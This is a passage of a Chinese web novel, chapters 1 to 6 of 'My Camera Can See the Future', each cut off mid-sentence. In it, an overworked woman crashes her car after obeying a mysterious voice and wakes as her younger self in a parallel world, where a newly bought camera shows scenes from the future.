《我的相机能看到未来》 1. 第1章 《我的相机能看到未来》全本免费阅读 夜已深，在暴雨中穿行的车辆好似一艘艘缓行的潜水艇，随时有熄火的风险。 樊欣也在路上，除了因扭伤而肿胀的左踝隐隐作痛，似乎并无大碍。但只有她自己知道，这阵子过得有多糟，从某种意义上来说，樊欣也像是一辆看不出问题，实则制动功能已出故障的车，随时都可能停下，甚至崩溃。 “前面那个路口，记得右拐！” 咦？！那是谁的声音？樊欣没开导航，而这人声的音色和语调也不像是系统里自带的。莫不是近来工作压力太大，她因过于疲惫而产生了幻觉？ 樊欣也想不起，自己从何时起变成了连轴转的陀螺：扭伤了脚，脑海里蹦出的第一个念头竟是：“幸好是左脚，还能开车，不耽误工作”；相处五年的男友突然提出分手，她也来不及处理情绪，只想着：“等下还有两个会要开，可不能分心……” 况且，她明明记得——前方路口的右侧场地，正在施工造隧道呢！ 到底是哪来的声音？暴雨中行车，本来就需要注意力高度集中，所以更没法分心观察周围的异样。没想到谨慎如她，仍是没逃过被追尾的命运。 出了这样的意外，樊欣更觉心烦。今天原本不用加班的，眼看忙了数月的项目总算要出成绩了，当初甩锅给自己的老头却突然跳出来抢成果，还自说自话把她辛苦整理的数据改得一团乱。樊欣只能独自留下处理那烂摊子，一下子便忙到了这么晚，现在还得冒雨处理事故。 虽说“人生除了生死，其余都是擦伤。”但这擦伤的频率太高，也会叫人遭不住啊！ 然而，一波未平，一波又起。樊欣还没来得及处理好这事故，就接到了堂弟的电话： “姐，我爸心脏病犯了，说是可能要手术。你有空不？能不能去一趟？我妈喊我过去陪护，但我这会儿有事走不开。” 尽管雨声嘈杂，但樊欣仍能从电话那头的环境音里听出来——堂弟是在网吧里奋战呢。 算了算了，反正他向来靠不住，樊欣在和肇事车主打过招呼后，便直奔医院而去。都说“债多不愁”，烦心事太多，反而让人变得麻木起来，因为千头万绪的，都不知该为哪一桩皱眉了。 因而，当那句“前面那个路口，记得右拐！”再次响起之时，她的脑袋早已被诸多杂事侵扰得有些木然，来不及思考，竟盲目地按那指令转动了方向盘…… 更糟的是，夜间的这场大雨本就干扰视线，工地的电动伸缩门还是开着的，加之心浮气躁的樊欣正处于走神的状态，便直接无视了前方的警示牌，闯了进去……而那牌子上赫然写着： “施工重地，闲人莫入，闯入者后果自负！” 夜色越来越浓，雨亦越来越大，这片工地的照明设施不佳，樊欣看不清眼前的路，只知道加速往前开，当下有太多的问题需要解决，根本容不得耽搁。 尚未完工的隧道主体是一处深坑，前头那些护栏挡板都被风雨吹得东倒西歪，毫无震慑力可言。 直到车辆腾空的一瞬间，樊欣才恢复了理智，但已经来不及了： “我……我这是在哪儿？” 在坠落的前一秒，她的心里产生了一种极为复杂的情绪：主要是失重带来的恐惧，却还伴有一种“一了百了”的轻松和释然。 “应该很疼吧？我会死么……还是落下个残疾啥的？要是我真出事了，爸妈该怎么办？谁替我去汇报项目？也不知大伯的手术怎么样了……还有那家伙，为什么突然提分手？还没问清楚原因呢……” *** 待樊欣从晕眩中醒来之时，脑袋仍是晕乎乎的，她还不太确定自己即将面对的是什么，因而不敢立即睁眼。 “不对呀……我怎么这样趴着？难道……难道还没被人发现？” 以当时那种行驶速度冲进建设中的隧道深坑，后果非死即伤，她能醒来，大概率是获救了吧……要是已经被人从坑里救出，也该是躺在病床上，而不该以坐姿状态趴在这儿吧？ 莫非是自己被留在驾驶室里了？樊欣一边想着，一边尝试着挪了挪位置，准备观察一下脚下的空间，瞬间就被强烈的光线刺激得闭上了眼。 “我滴个老天奶！我是在车里困到第二天了？天气预报明明说这周都会下暴雨，怎么隔天就晴了？难道……难道我已经上天堂了？” 樊欣不敢睁眼也不敢抬头，她打算先冷静下来感受一下当前的身体情况。奇怪的是，除了胳膊被枕得有点麻，头有些晕之外，浑身上下并未明显不适，甚至感到自己那扭伤的左脚都活动自如…… 这到底是啥情况啊？！ 一味逃避也解决不了问题，樊欣深吸了一口气，鼓足勇气抬起了头，拧着眉睁开了眼，却看到了完全意想不到的景象： 此刻的她，既不在医院里，也不在坠车的深坑。眼前这地方，怎么看也和所谓的“天堂”没啥关系，但又让樊欣感到非常熟悉。 扭头环顾了一遍四周，她更确定自己身处一间四人宿舍之中：布局传统，整齐排列着四副木质桌椅，每套桌椅上支起了花色迥异的床帘，看起来挺宽敞的，装修也很新。 “我……我这是在做梦吗？” 樊欣揉了揉眼，想起之前也有过在梦境中仍能清晰感知自己“正在做梦”的经历，只是那些体验都远不及当下来得真实。 影视剧里的角色遇到类似的状况，往往会使劲揪自己一把，以验证处境的真假；但樊欣想换个方式：只要梦里出现食物，她准会冲上前大快朵颐，然而，即便枕头上淌满了哈喇子，愣是品不出丁点儿滋味。对了，在梦里是没有味觉的…… 想到这里，她直接拆开了桌上的一包饼干吃了起来。 “好甜！” 三十出头的樊欣已经有了抗糖的意识，因而感到自己像是被那甜腻的饼干给咬了一口，下意识地看了眼商品的包装： < 2. 第2章 《我的相机能看到未来》全本免费阅读 “难道我没穿越？也可能……可能是手机上的时间调错了？” 樊欣一边思考一边打开电脑确认，却发现电脑右下角显示的时间与手机上所见无异。也就是说，樊欣并没有回到十年前，却又活回了十年前的样子？ 这……这叫什么事儿啊？！ “学姐，今天是几号来着？我手机上的时间好像有点问题。” “欣子你啥情况？这才刚开学两天呢，你就犯迷糊……是不是昨晚熬夜啦？你刚睡衣都换好了，说是要午休，但直接趴桌子上就眯着了，好像还说梦话来着……” 所幸现在遇到的舍友和樊欣记忆中的差别不大，比如和她聊天的这位，大名徐可可，性格大大咧咧没心眼，属于非常外向的“社交恐怖分子”，渴望爱情、热衷磕CP，但至今仍是母胎solo。 “梦话？我说啥了？” “含含糊糊的，我哪听得清？但好像提到了‘诱拐’什么的……欣子，你是梦到人贩子了？” 听到可可的话，樊欣一下子明白了她提到的“诱拐”实际上是“右拐”，自己当初正是因为那道奇怪的指令才开进了施工工地，连人带车跃进坑里。这么说来，难道自己经历的十年才是大梦一场，眼前的这些反倒是真实的？ 不可能！绝对，不可能！ 即使樊欣的这十年过得不算顺遂，但也有笑有泪，实实在在的，怎么可能只是一场梦呢？但她现在到底经历了什么，当时耳边那道诡异的提示又是从哪儿发出来的？这一切，都叫人摸不着头脑。 不过，按可可的说法来看，现在才刚开学，而樊欣“穿过来”之前的日子，也是九月初，刚好相符。为了进一步验证相关信息，她打开电脑，登上了聊天软件，顺势点开一枚跳跃的头像，头像主人的备注是“唐老师”，对方发来一张Excel表格，并附上了相应通知： “樊欣别忘了统计你们班的返校情况，这表周日前要发我哦！” 作为资深社畜的樊欣都还没来得及点开表格，便条件反射地回复了俩字： “收到。” 读研时，樊欣是班长，而唐老师是他们当时的辅导员；开学后需要统计返校情况，那说明她既不是刚入校也还没开始实习，现在应该是研究生二年级那会儿。 点开统计表，她瞥见最上端的年份就是当下，而非十年前；另外，樊欣在表里的宿舍号显示为“B栋-101”，但她分明记得自己读研时住在A栋，这也就解释了为何他们宿舍的露台朝向和自己记忆中的不一样了。 至此，樊欣猜想：或许，自己并非穿回了十年之前，而是带着所有记忆跨跃到了某个与自己生活环境高度相似的平行宇宙，但这个世界的运行进度要比她出车祸的时空滞后了十来年，并且和她生活过的那个世界存在一些差别。 就在樊欣感到自己越来越接近“真相”时，却被可可惊扰了思绪，她边看手机边爬下床铺，落地前开始一惊一乍地嚷起来： “Orange5要上市了哎，明晚会有发布会哎！” 樊欣赶忙上前扶了一下，这才避免了可可一脚踩空，但又心生疑惑： “Orange5？是什么新品种的橙子？至于这样激动嘛……” 但此时的可可却直接将手机屏怼到了樊欣眼前，新闻的主图上分明是一款看上去很眼熟的手机机型，但那经典的logo却由“被咬了一口的苹果”变成了“缺了一块的橙子”！ 见此，樊欣赶忙回到自己的座位那头，拆掉了手机的保护壳……果然，这个世界和她之前所处的时空不大一样：她住的是“B栋-101”、吃的是“利奥利”、用的是“橙子手机”……也不知后头还有啥“新鲜事”等着她去适应呢。 在樊欣熟悉的那个世界里，她已经做到了知名传媒公司的项目部经理，生活几乎给工作填满了，所以也没机会读上几本“穿越”或是“重生”类的小说，再说她的记性也不算好，即便“重获新生”，也很难通过“背彩票号码”、“预知重大事件”或“记歌词”、“洗文稿”等方式坐拥“开挂人生”。 冷静下来想想，若是真有机会回到十年前，或是重新以二十出头的状态活一次，自己最想做些什么呢？ 突如其来的遭遇在樊欣的心里打满了问号，但这个问题的答案，她却很清楚。 “学姐，我……我家里有点事，先回去一趟啊，明天没课。” “好嘞，在本地念书就是方便，羡慕！” 樊欣匆匆将睡衣换了，举着手机就往外跑，原本想先寻个安静的角落，但又觉着等不及了，便赶紧找到通讯录里怀念了好久的称呼，拨通了对应的号码—— “咦？欣欣怎么现在有空打电话，刚开学忙不忙啊？” 电话那头的声音响起的一瞬，樊欣的眼泪就毫无征兆地淌了一脸。 真好啊……这个世界的外公还没离开她，一切还都来得及……真好啊！ 樊欣小时候是由外公带大的，从记事时起，她就没见过老人家动怒的样子，外公总是慈眉善目、永远待人和善，不止是人，先前有受伤的鸽子跌进院子里，也被他老人家救了下来，细心照料着。 好像只要呆在外公身边，再浮躁的心绪也能在顷刻间变得沉静，各类生灵也得以和谐共处，比如陪伴樊欣一起长大的猫咪“汤圆”，从不会去欺负家里的鸽子，懂事且亲人。 可惜，老人家在世时，樊欣曾以为一切都来得及，嘴上总挂着“下次”、“以后”、“有机会”……就连最后和外公吃的那顿饭，都被工作电话给打断了，中途赶回公司加班的樊欣，怎么也料不到这将成为自己一生的遗憾。 “欣欣？欣欣你怎么不讲话呀，是不小心按到的么？你没事吧？” 听到外公的追问，樊欣赶紧抹掉了脸上的泪，好像这么做就能顺带抹除自己的哭腔一般。好在，在职场里摸爬滚打这些年，别的长进不说，起码在掩饰情绪这一点上，她已经修炼得炉火纯青了。 “外公我没事，就是突然又想吃您做的菜了，还有……还有‘汤圆’它还好不？” 这话一问出口， 3. 第3章 《我的相机能看到未来》全本免费阅读 “500？什么500？” 老头报出价格的一瞬间，樊欣以为自己是听错了，她好端端在人行道上走着，被撞成这样都没开口要赔偿，反倒被肇事者给讹上了？ “你别给我装糊涂啊！哎哟哟……我的脚呀……” 见碰瓷的老头这会儿跟唱山歌似地“哼哼”起来，樊欣下意识抬头找起了监控。 糟糕！这校区是新建的，周围的配套设施还没完全跟上，因而这条道上还没装监控，这下樊欣更是百口莫辩了。 老头见她没辙，嚷嚷得更起劲了，招来了不少围观群众。或许大家也见多了“老人碰瓷”一类的社会新闻，倒并没有直接将矛头指向樊欣，而是纷纷理性地为他们出谋划策： “老同志，冷静点，先别嚷嚷了，有话好好说啊！” “需要帮忙叫救护车嘛？” “姑娘你要不直接报警吧？不然解决不了问题啊！” 就在围观群众七嘴八舌发表意见的时候，一名身着制服、戴着“辅警”肩章的大哥慢慢拨开了人群，来到了樊欣和老头的中间，问道： “什么情况？撞人啦？” 大哥问这话时，是看向碰瓷老头的，因为以他和樊欣、包括那辆电动车倒地的位置来看，老头确实更像是肇事者，没想到这样的问题反而激得这货撒起泼来： “你看我干什么？是她干的呀！她不好好开车，直接冲到人行道上来撞我，有没有道德？有没有素质？有没有‘尊老’的意识啊？” 见他情绪激动，一时难以交流，辅警大哥只好先询问现场是否有目击者，可惜适逢工作日的午后，这个路段人不多，事发时，附近刚好没人；要不是老头哭天喊地的，也不会召唤来这么路人，让此地变得这样热闹。 而大哥向樊欣询问情况时，但凡她开口诉说冤屈，碰瓷老头就开始哇哇叫骂，精神头足得丝毫看不出受伤痕迹。至此，大哥只得无奈摇摇头，表示需要两位一起到所里走一趟。 原本樊欣还急着回家去看外公呢，没想到会出这样的岔子，时间又给耽搁了，但也只好自认倒霉，忍着痛慢慢往前走，刚跟上辅警大哥，却被对方提醒了一句： “腿脚没事的话，别忘了推上你那车。” 或许是还没适应自己杜撰出的“受害者”身份，在辅警大哥说这话之前，碰瓷老头还准备上前取车，大哥的话让他一下反应过来了，只好灰溜溜地退了回去，却听围观群众里响起了一阵嘘声： “大爷！脚好啦？都能自己站起来了哎！” *** 老头做笔录时仍是一副嚣张样儿，认定了是樊欣骑车撞的他，不愿去验伤但一定要她给出赔偿。 樊欣讲起话来语调软软，但自己没做过的事也断然不会认下。 双方僵持不下，眼看又浪费了不少时间，樊欣有些坐不住了，于是妥协似的翻起了随身携带的小包。尽管她早已习惯了电子支付，但想来这个时空的技术还没那么发达，起码大多数老人当时还不会使用收付款的二维码。 好在二十出头那年，她有随身携带现金的习惯，只是找遍全身上下，也就翻出两张百元大钞和两枚面值一元的钢镚儿。 出人意料的是，当初催促樊欣“在前方路口右拐”的那道声音，再次毫无预兆地出现了： “你习惯了忍气吞声，不是因为有多大度，而是你活得太窝囊。” 乍一想，那道声音说的也没错——明明是她被撞了，她什么也没做错，身为受害者反倒得赔钱，确实窝囊。但樊欣来不及细想那声音的出处，就直接将身上的所有“财产”拍到了碰瓷老头面前： “我确实没有撞你，但也没时间继续和你耗下去。我身上就这些钱，你要，就拿去，然后签字走人；你不要，现在我们就去医院验伤。但我把话说在前头，要是验下来你没事，勘察现场痕迹后证实不是我撞的你，我一定把你告到底。” 小小电动车事故，不至于兴师动众“勘察现场”，这一点，樊欣很清楚，但那老头不一定明白。 樊欣看似硬气，实则是用最硬气的语气扮了回最软的柿子，被人倒打一耙也只能花钱消灾了。或许是想到自己撞人后还能白赚一笔也不亏，碰瓷老头的鼠眼滴溜溜转过一圈，便故作大度地摆摆手： “200就200吧，也就是你运气好，遇到我这种好说话的，还能让你这样讨价还价。” 见双方总算谈妥，参与处理的警员们也长舒了一口气，同时不忘提醒那老头： “既然这样，大爷咱可说好了啊，签了字就说明您认可这样的处理方案，事后可不能再无凭无据地向人家追要什么赔偿了。” 拿到钱的老头看起来心情不错，笑意都快从眼角的鱼尾纹中溢出来了，听到这话后立即瞪了眼对方： “这叫什么话？说得好像我在讹人似的！” 听到这里，樊欣忍不住默默翻了个白眼，腹诽道： “难道你不就是在讹人嘛？” 但她依旧看似好脾气地忍耐着，直到老头签完字，才故作不经意地问了一句： “请问……我现在是不是可以取走‘我的车’了？” 念到“我的车”三个字时，樊欣有意加了重音。至此，真正的好戏才正式上演—— 直到这一刻，碰瓷老头才反应过来自己方才的举动是“捡了芝麻丢了西瓜”，他满以为自己最后仍能骑着车全身而退，没想到现在却轮到他百口莫辩了： “那是我的车！她不能骑走啊！” “大爷您冷静一点，刚已经确认过是这姑娘骑车把您给撞了。如果那电动车是您的，难道说她是骑着您的车把您给撞倒的？这也说不通呀……” “你别走！你们快拦住她！来人哪，有人偷我的车！快来人哪，我要报警！” “您报啥警啊？这不刚处理完，都和您确认过了嘛？再说了，您没大碍，而且那姑娘已经赔钱了，总不能再 4. 第4章 《我的相机能看到未来》全本免费阅读 听到他这么说，樊欣险些当场石化。 “不是吧？刚送走个瘟神，又遇上个社会大哥？他为啥会帮我？” 心理作用使然，起初樊欣将该男子猜成了“正义的化身”，现在再瞧他，只觉对方越看越不像好人，甚至担心自己是刚出虎口，又入狼窝了…… 可对方既没有解释自己打架的原因，也没向樊欣提什么要求，而是直接拍了拍车座，简明了当地招呼她过去： “检查过了，没什么大问题。” 待樊欣上车后，他也只叮嘱了一句“路上注意安全”，便潇洒离场。 “看来真是我想多了吧，这世上还是好人多啊……” *** 驶出被绿化带填满的高教区，樊欣逐渐进入闹市，那种感觉，既熟悉又陌生。 想来也不过十年而已，城市的总体布局没有太大改变，但实际样貌还是很不一样的，有些地铁站、隧道还没建好、部分道路有待修缮、标志性高楼尚未拔地而起……更别提当年最有人气的店铺、最流行的品牌，通通都不一样了。 樊欣就这样迎着夏天的风，一路穿过古老的运河、青砖黛瓦的民居、高架桥下的街道以及现代化的写字楼，沿街商铺琳琅满目，从美食、特产到手工艺品等应有尽有。 还好G市的城市结构与她记忆中的非常接近，因而樊欣都不需要导航便能自由前行；G市很大，但这条回家的路，对她而言太熟悉了，一定不会错的。 樊欣的方向感不错，但她太兴奋了，以至都没意识到自己骑了一路，车已经快没电了，好不容易缓缓挪到了前方的数码城，却发现这边的充电桩不支持扫码付款，只能投币。 “早知道就该留下那俩钢镚儿的！” 但怨天尤人也没啥用，樊欣准备打车，却发现那些个自己很熟悉的打车软件，在这个时空还没上线。 “进去看看。” “什么？” 樊欣又听到那个声音里，奇怪的是，无从判断对方的性别或年龄，一字一句听起来却异常清晰。她立刻环顾了一下周遭的环境：搬货的搬货，打电话的打电话，旁人都有自己的事要忙，一时难以分辨谁才是那神秘声音的主人。 “进去？去哪儿？” 可无论她怎样追问，都无人理会，待她稍稍挪了下位置，便发现自己正处在数码城的正门口。这么说来，那声音应该是召唤自己到里头去瞧一瞧。 不过，自己凭什么要听对方的指令呢？当初，正是被那句“在前方路口右拐”误导，她才会跌入如今这般茫然无措的境地……但就目前的情况来看，活回十年前好像也不是什么坏事。况且，这大白天的，到热闹的数码城里逛逛，也没啥危险吧？ 这头的思想斗争还没结束，那一头，樊欣的双脚早就踏进了商场内部。 在她的印象里，十年后的这座数码城仍在营业中，且装修得焕然一新，全然不是现在这副乱糟糟的模样。现在的她倒没想好要买些什么，不过，光是看着那些“古早电器”便觉得有趣。毕竟，电子产品更新换代太快了，这个领域内的“十年”，不亚于一道鸿沟。 “美女，想要看看什么产品？” 樊欣闻声回头，只见一个看着面善的平头小哥笑意盈盈，似是对自家的产品很有把握，认为总有一款能受到樊欣的青睐。 “5DMarkIII？” 樊欣也没想到，真能在这儿看到感兴趣的产品。她对这款相机很有好感，还记得自己刚传到新媒体项目部时，当时领导就让同组的范老头把公司的同款相机交给樊欣，本来还挺期待的，没想到那老头总以“这设备早过时了”、“里头零件坏了”等借口将它占为己有。 难道今天的这场相遇，真是命运的安排？但在樊欣看到相机的售价后，只觉安排不了一点，太贵了！尤其在这个时空里，它还是刚上市一年的新款，正是最紧俏的时候。 “美女好眼光！是打算选这款么？” 樊欣见那小哥来了兴致，赶忙把头摇成了拨浪鼓，还故作冷静地岔开话题： “我只是随便看看，左上角那款样机能拿给我试试不？” 她注意到铺子后方的货柜上，孤零零摆着一台造型复古的单反相机，看着像是非卖品，便想着等小哥拒绝自己的“非分要求”后，能顺势溜之大吉。 没想到对方却客气地说道： “美女稍等啊，我对这产品不大熟悉，等我打个电话问下合伙人。” “不用……不用这么麻烦的！” 还不等樊欣阻止，小哥那头已经举着手机聊了起来： “龙哥，你放架子最上层那相机怎么卖的？现在有个美女相中它了。” 小哥一边听着对方的答复，一边狡黠地冲樊欣wink，还比了个“OK”的手势，表示一切尽在掌握。 樊欣正愁该怎么得体地拒绝才不会惹人不快时，却听小哥报出了一个令人心动的价格。此时她的身份是个还没有固定收入的学生，但进入大学以来每年都有奖学金，加上兼职的收入，算是有些积蓄。 学生时代的樊欣热衷存钱，后来才发现自己因过于保守的理财方式错过了不少机会，之前辛苦攒下的积蓄大多也只等来了一个贬值的结局。 “买它！” 那个声音又出现了……每当樊欣面临重大抉择时，它都会这样冒出来，不过派出所里那次不算，当时它就是想冒出来吐槽下樊欣的“窝囊”。 “美女你是刷卡还是用现金呢？” “啊？” 樊欣还没做决定呢，小哥就自说自话地开始包装相机了，见她没有给出明确答复，小哥反倒有些摸不着头脑了，不解地补了一句： “你刚不是已经定下来了么？还直接喊了句‘买它’！美女你可真逗啊……” 伴着小哥爽朗的笑声，樊欣糊里糊涂地付了钱，完全没想到自己竟会将听到的建议说出了口。不过，她暂时也没机会想那么多了，刚把银行卡塞回包里就发现手机在震个不停。 根据后来的习惯，她早早将手机的来电模式改成了震动，付款时又将装手机的包袋扔到了一旁的椅子上，才没注意到来自妈妈的“夺命连环call”。 “你在哪儿呢， 5. 第5章 《我的相机能看到未来》全本免费阅读 樊欣并没有被这种疑惑硬控多久，就淹没在了小狗的热情里。 这个时空的“汤圆”，是一条以黑白为主色的卷毛小狗，但不论是猫是狗，樊欣都爱它。小狗同样也对她抱有无限信任，直接翻出粉嫩的肚皮，求摸摸。 外公见他们来了，赶忙开始热菜，爸妈也跟着去打下手，樊欣想帮忙也没机会，索性拿狗子当模特，试起了新买的相机。 “汤圆别动啊，乖一点呀！别动，保持这个姿势，让我们看看谁是世界上最可爱的小狗狗呀？！” 弄堂里的光线有些暗，樊欣已经把感光度调得很高，要是再提升快门速度，就得牺牲画质，只得努力让汤圆安静下来，可惜小家伙太激动，总想起身找她玩。 好不容易拍到了一张满意的作品，她便急吼吼想进屋给大家秀一下；刚到门口，就闻到了阵阵饭菜的浓香——咕咾肉、红烧排骨、油爆虾、银鱼炒蛋、蒜泥空心菜、丝瓜炒毛豆、乌鸡汤…… 隔着窗户看到满满一桌美食，樊欣的口水已接近失控状态，只想马上换鞋进屋，大吃一顿。但就在这个紧迫的时刻，她却找不到左脚的拖鞋了： “咦……我鞋呢？” 每次来，外公都会提前帮她准备好专用的拖鞋，倒不是怕樊欣他们踩脏地板，只是希望大家能以最轻松舒适的状态用餐。 “不应该呀……我刚明明给你摆在这儿的。没事没事，找不到的话就先别换啦，赶紧来吃饭吧，外公明天去给你买新的好了。” 此刻，馋虫战胜了一切想法，樊欣便听话地直接入席开吃。外公的手艺，是任何一家餐厅都做不出来的味道，她已经太久太久没吃到老爷子亲手做的饭菜了，只觉得一桌家常菜全都好吃到叫人泪流满面。 “你怎么啦？眼睛不舒服么？” 妈妈总能在第一时间观察到樊欣的变化，见这孩子好端端吃着饭却流起眼泪来了，难免担心。 “没事，可能眼睛进沙子了，我去擦一擦。” “要不要眼药水啊？我包里有。” 樊欣朝妈妈摆了摆手，暂时离席去取纸巾。心中正感慨妈妈总是这样事无巨细，随身带的大包里时刻准备着家人可能用到的各类物品……却冷不丁瞥了眼屋里的镜子，忍不住停下观察起了自己的样貌： “十年前的我……怎么看起来这么土？” 自从穿到这个时空以来，她被各种突发事件催着赶着朝前走，甚至还没得空静下来好好看看自己呢。在樊欣的印象中，读研时的自己正处“颜值巅峰”，又高又瘦、五官清秀、满脸胶原蛋白，不时还会去兼职做个模特、礼仪啥的。 但以现在的审美来看，二十出头的自己虽然体重较轻，但体脂率应该不低，脸上还没完全褪去“婴儿肥”；底子虽好，但不会打扮，厚重的刘海配上笨重的黑框眼镜，还有松垮垮的T恤，简直叫人没眼看。 “欣欣你没事吧？吃饭吃到一半，照啥镜子呀你，再不吃要凉啦！” 来自妈妈“爱的呼唤”叫樊欣有些尴尬，为了调节一下气氛，她随手拿起了刚买的相机，准备向家人展示一下自己拍摄的汤圆。 当年的手机像素不高，内存不足，她又没舍得购置一台好点的相机，因而没给十年后的自己留下太多影像回忆；现在，能有这样的机会，樊欣自然希望好好弥补一下：先用汤圆练练手，后期多拍拍家人，好好记录生活。 调到相机的播放界面，樊欣发现照片的数量显示为“3”。 奇怪！尽管她刚才一口气给汤圆拍了不少，但碍于相机还没换存储卡，所以就只留下了一张效果最好的，现在怎么会凭空多出两张来？ 在好奇心的驱使下，樊欣往前翻了翻，却被眼前的画面惊起了一身鸡皮疙瘩： 在她所拍的那张狗子的特写前面，还有两张陌生的照片，画面本身一点都不吓人，甚至还有点可爱：第一张是汤圆叼起了她的一只拖鞋，第二张则记录了“邪恶摇粒绒”将拖鞋藏匿于秋海棠盆栽下方的场景。 重点是——这两张照片并不是樊欣拍的，而且在她为汤圆拍照之前，没人动过她的相机……若这两张照片是她的家人所拍，那就不会出现大家都不知道拖鞋去向的情况了。 想到这里，樊欣直接跑到了院子里，找到了照片中出现过的盆栽，还真就在花盆的下面看到了汤圆悄悄藏起的拖鞋。 狗子淘气的恶作剧无伤大雅，但问题是——那照片是谁拍的呢？ 樊欣有些失神，木然地回到餐桌旁，默默换好了拖鞋。 “欣欣找到拖鞋啦，放到哪里去啦，是不是汤圆又欺负姐姐啦？” 说罢，外公便作势要惩罚汤圆，但假意扬起的手，挥到狗子身上前却明显降速了，还顺手捎了块排骨丢给了它——谁叫汤圆那么可爱，罚不了，根本罚不了。 这一回，妈妈倒没注意到樊欣的异样，因为她正忙着向爸爸展示自己闺女的大作呢： “看我们欣欣拍的照片，多好；主要是汤圆也配合，多乖。” 在家人的认可声里，妈妈小心地将相机递回樊欣手里，但她惊讶地发现——前两张凭空出现的照片，竟又神秘地消失了…… *** 樊欣原本还想在家里多留两天，因为第二天是周末，学校里也没什么任务。 可她有点放心不下被丢在数码城的电动车，加上妈妈又总催着她去相亲，便随口找了个“要回去改论文”的理由，匆匆跑路了。 小区距离最近的商业体不过十分钟脚程，樊欣迫不及待地找了家理发店，烫了个“法式卷”，随后又找地方换了副轻薄的金属镜框，并顺道挑选了几款美瞳。原本还想再买点合身的新衣服，但看了看余额，她准备缓几天再说。 虽说只是做了些小小的改变，樊欣也觉着自己看上去顺眼多了，以至于赶到数码城取车后，还忍不住盯着反光镜细细将自己打量了一番。 从某种意义上而言，这车是被它那蛮不讲理的主人间接塞给樊欣的，可终究有点“不义之财”的意味。既然碰瓷老头已经受到教训了，她还是准备找个合 6. 第6章 《我的相机能看到未来》全本免费阅读 两人面面相觑的状态没有持续太久，薛蕾就取出为舍友们准备的特产，顺利化解了尴尬： “欣子我记得你上次说这种点心特别好吃，就多带了些，可可学姐呢？不会又去图书馆了吧？” 虽说薛蕾与樊欣是同级的，但看上去却成熟得多，甚至比徐可可更像学姐，她说话、行事总是井井有条且雷厉风行，虽然有时稍嫌强势，但并不会让人觉得反感，起码樊欣是挺欣赏她的。 想当年，每每看到薛蕾身着淑女装、甩动着栗色及腰长发，在各种场合自信发表见解之时，樊欣总觉得她毕业后一定会成为那种优秀的女强人。只可惜，天不遂人愿，在另一个时空里，薛蕾后来的际遇，完全偏离了当初的轨道…… 来不及唏嘘，她俩就在聊天软件的宿舍群里看到了可可的召唤： “有没有人一起去第二食堂啊？在线求饭搭子。” “蕾姐，可可学姐在群里问咱们去不去食堂……你这是，又要出去啊？” 樊欣看到消息后便想征询一下薛蕾的意见，转身却见她又换上了一条淡雅的浅蓝色碎花连衣裙，还开始补妆了。 “我就不去啦，晚上约了和男朋友一起吃饭，等下我在群里和可可姐打个招呼。” 听她这么说，樊欣点了点头，不由自主地皱了皱眉，便动身去找可可了。 可可所说的“第二食堂”，离她们的宿舍有些距离，但比正对着宿舍区的“第一食堂”更大一些，选择也更多：自选快餐、馄饨面条、各色风味小吃一应俱全，比起不少商场负一层的美食城也毫不逊色。 当初在校时，樊欣总觉着去食堂吃饭是在敷衍自己的味蕾；工作后，才发现大学食堂里的美食品种又多、价格又实惠，颇具性价比。 她点了份蛋黄虾仁馄饨，就去和可可会和了。 “蕾姐刚回了趟宿舍，但她晚上有点事，过不来了。对了，她还给我们带了特产呢。” “小蕾和我说过了，她应该又去陪男朋友了吧？” 樊欣有些无奈地点点头，抬头却见可可露出了一副欲言又止的模样。 “学姐你怎么啦？” “我没事，就是听说小蕾她……她……” 可可向来开朗，很少见她这样扭捏，但樊欣好歹也算“来自未来”，因而大致能猜出对方想说的事应该和薛蕾的男友有关。她见可可有些为难，便也没再多问，两人埋头吃起饭来，陷入了一种难得的沉默之中。 “第二食堂”离宿舍有点远，但和操场很近，饭后，樊欣和可可一起到操场的跑道绕圈消食，每天傍晚来这儿散步的学生都挺多，因而不少组织会将活动宣传海报张贴在这儿的围网上。 “欣子，这不是你男神嘛？” “嗯……啥？！” 一开始，樊欣还沉浸在关于薛蕾的回忆中，没反应过来徐可可在说什么，待回过神，顿觉莫名其妙——像自己这样含蓄内敛、以学业为重的清纯女大，当年可没迷恋过什么所谓的“男神”啊。 顺着可可的目光，她看到了一张醒目的赛事预告：海报的主角是一位满身肌肉的漫画版拳击手，配以醒目的烫金字“‘拳’力以赴”，主图下方写着详细的赛事说明，还附上了参赛选手的头像和姓名。 天色有些暗了，樊欣看不清那些照片都是谁，只能看清他们名字的笔画，其中，有一个看着很熟悉。 “李浩凡？你说的‘男神’难道是他？！” 简直不可理喻！樊欣扭头想问可可何来“男神”一说，却见对方笑容贱贱，夜色也无法消减她挑眉时的滑稽。 樊欣只觉又好气，又好笑。要知道，在她曾经生活了三十来年的那个世界里，李浩凡屁颠颠跟在自己后头痴缠了多久。在遇到他之前，樊欣对年下男并不感冒，奈何这烦人精太有手段，她最终还是陷了进去，这一陷，就是五年。 人生中最美好的那五年，全是与李浩凡有关的记忆，但若能有机会再选一次，她无论如何也不会再选择陪一个男孩成长了。之前，他总让樊欣等等自己，等他事业有成、等他足够成熟，就和她结婚。 然而，就算樊欣被熬成了亲戚、同事眼里的“剩女”，也还是没能等到李浩凡兑现承诺的那一天，反而，只等来了一个冰凉的结局。 李浩凡在她组里工作两年后便辞职离开了，离职后的他选择了创业，初期很苦，但樊欣不离不弃，选择用自己的收入来贴补家用、支持爱人。 好不容易等到李浩凡的公司小有起色，两人却聚少离多、日渐生疏，但樊欣仍傻傻地每天给对方发消息，关心他的生活，最终，还是在一通电话里，听那个熟悉的声音说出了一句让他变得异常陌生的话： “分开吧。我对你，已经没有感情了。” 樊欣至今都忘不了——那种整颗心脏瞬间被虚空填满的滋味，她曾将这段感情看作人生的支柱，曾把李浩凡完整地写进了自己的未来。对方突如其来的变卦，让毫无防备的她跌入了彻骨的孤寂之中，但凡闲下来，就会陷入一种失魂落魄的状态。 可就在这个她与李浩凡本不该相识的时间节点，他不但从学弟变身为学长，还莫名成了自己的“男神”？ 呸！ 她的愤怒不像是装的，这倒让可可变得有些不解。据可可说，樊欣早在暑假前就鼓足勇气要到了李浩凡的号码，时不时地和他聊几句，还会将他俩那些暧昧的聊天内容发到宿舍群里，请大伙支招，只是还没捅破那层窗户纸罢了。 “那……那这比赛咱还去看么？小蕾说可以帮我们拿到票。” “去啊，当然去！” 有机会看那渣男被人揍，樊欣怎么可能不去？不过转念想想，自己对他还有恨意，说明她也没完全放下吧……由此想到过去的种种，樊欣难免有些失神，便开始双目无光地对着各款花花绿绿的海报发起了呆。 “欣子，你在看什么呢？” 